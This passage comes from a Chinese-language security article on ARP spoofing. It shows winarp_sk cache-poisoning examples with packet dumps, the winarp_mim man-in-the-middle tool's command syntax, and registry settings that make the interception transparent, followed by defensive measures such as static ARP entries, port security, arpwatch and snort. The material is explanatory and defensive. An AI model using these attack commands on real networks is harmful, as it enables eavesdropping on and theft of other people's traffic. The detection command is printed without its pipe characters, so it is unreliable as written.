+ ETH - Source MAC      : 00-60-08-DE-64-F0

+ ARP - ARP Reply

+ ARP - Sender MAC address : 00-60-08-DE-64-F0

+ ARP - Sender IP address  : 192.168.1.1

+ ARP - Target MAC address : 00-10-B5-AC-1D-00

+ ARP - Target IP address  : 192.168.1.10

这个例子中发送一个Arp-relay的数据包, 欺骗192.168.1.10, 使其ARP中毒, 认为192.168.1.1的MAC地址为:00-10-B5-AC-1D-00。 对于win 9x/2K操作系统, 这是非常简单的中毒更新攻击。

举例二:

winarp_sk -m 1 -s 192.168.1.1 -d 192.168.1.11

+ ETH - Destination MAC : 00-A0-C9-41-DB-1B

+ ETH - Source MAC      : 00-60-08-DE-64-F0

+ ARP - ARP Request

+ ARP - Sender MAC address : 00-60-08-DE-64-F0

+ ARP - Sender IP address  : 192.168.1.1

+ ARP - Target MAC address : 00-A0-C9-41-DB-1B

+ ARP - Target IP address  : 192.168.1.11

这也是ARP中毒更新的具体实例, 可以有效的攻击Linux/Win XP(或其他系统)。

Winarp_mim小工具则顾名思义, mim是中间人攻击的英文缩写, 用其可方便实现。 但是使用之前, 必须预先安装wincap驱动包。 其工作方式分三步实现:

1、分别对目标主机A和B发送ARP-request数据包。 对目标A发送目标B的IP地址和攻击者主机的MAC地址, 反之对目标B发送目标A的IP地址和攻击者的MAC地址。

2、对A和B中使用大量伪造的ARP欺骗包使其缓存保持虚假信息。

4、 攻击终止, 必须还原主机A/B中的真实IP/MAC绑定地址, 避免因攻击结束而造成A/B间无法通信的现象。

winarp_mim.exe -a target_a_ip -b target_b_ip

                    [-t delay] [-c count] [-v]

-a: 目标主机A的IP地址。

-b: 目标主机B的IP地址。

-c: 设置发送ARP包的数目。

   默认情况是不断发送, 直到按任意键停止发送。

-t: 发送包的时间间隔, 以毫秒为单位。 默认情况是2000毫秒。

-h: 帮助命令。

-v: 发送包过程中的信息显示开关。

注意:

假如攻击主机使用IP路由功能, MIM攻击才能透明的进行。

Windows系统中激活路由功能的方法:

1- Windows NT :在 TCP/IP 控制面版中进行配置

2- Windows 2000 : 修改或者创建如下键值

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

设置键IPEnableRouter=1

3- Windows 9x : 修改或者创建如下键值

\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Vxd\Mstcp\

设置键EnableRouting=1, 其字符类型为string

(注意: "EnableRouting" 是区分大小写)

分析了目前比较流行的ARP攻击方式, 是否有种大汗淋漓的恐慌呢?如何面对这种残酷战争?如何才能让自己暂时安全?下面的建议兴许能提供一些庇护措施。

五、 安全防御建议

对于局域网络的欺骗攻击隐秘性的攻击行为, 如何才能保证信息的相对安全和隐私权的私属性呢?经过ARP欺骗攻击行为的分析, 如下措施可以较好的抵御这种可耻的偷窃行为。

1、 在本地计算机使用静态ARP映像记录, 特别本地网关记录应该是静态的。 使用arp -s添加静态映射列表。 抑制ARP的幻存中毒更新。 (但对于大型网络, 维护这样的MAC/IP表使非常困难的, 如果某台机器的网卡坏了, 调整MAC/IP的映射是及其烦琐的)

2、 使用反向ARP解析, 找出同一MAC地址IP的来源(即使用RARP反向解析MAC为IP地址)。

3、 在交换机中使用Port/Mac的绑定功能, 比如使能Port Security特性, 每个端口只允许一个MAC映射, 防止多个MAC地址对一个交换端口的映射, 从而减少嗅叹的可能性。

4、使用ARPWATCH工具监测IP/MAC地址表的变化。 其记录日志于/var/log/messages, 形式为:

Sep 1 16:26:04 hostB arpwatch: changed ethernet address 192.168.1.3

04.04.04.04.04.04 (03.03.03.03.03.03)

表示MAC从原来的03.03.03.03.03.03变更为04.04.04.04.04.04, 这意味着ARP攻击的征兆, 需要引起高度注意。

5、 避免使用DHCP服务器进行网络的动态分址管理, 因为在这样的环境中使用ARP欺骗攻击是很难被发现的。

6、 在基于安全会话的通信过程中, 不要使用有安全漏洞的软件。

7、 安装snort入侵检测系统, 通过使用arp欺骗预处理器侦测欺骗行为并发送邮件警告通知arp/ip的改变。

8、寻找Arp攻击主机, 以Redhat为例:

nmap -sP {your local network}

arp -an awk '{print $2 $4}' sort uniq -c grep -v '1'

在DNS记录中查看其主机地址找出攻击者, 制止攻击行为。

六、 小结

使用ARP协议漏洞所产生的攻击方式是非常隐蔽的, 这种攻击所造成的危害却是非常巨大的, 任何在网络流通的数据资料将被攻击者一览无余, 而受害者却可能根本不知道自己已经受到了严重的窥视。 由于协议而使网络本身具有的脆弱性, 因此在时刻警惕网络的同时, 最全面的做法在于改进协议的安全特性并不断提高人的修养素质, 使网络的文明升级为一个资源共享, 信息自由和尊重隐私的时代

 


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。

……

相关阅读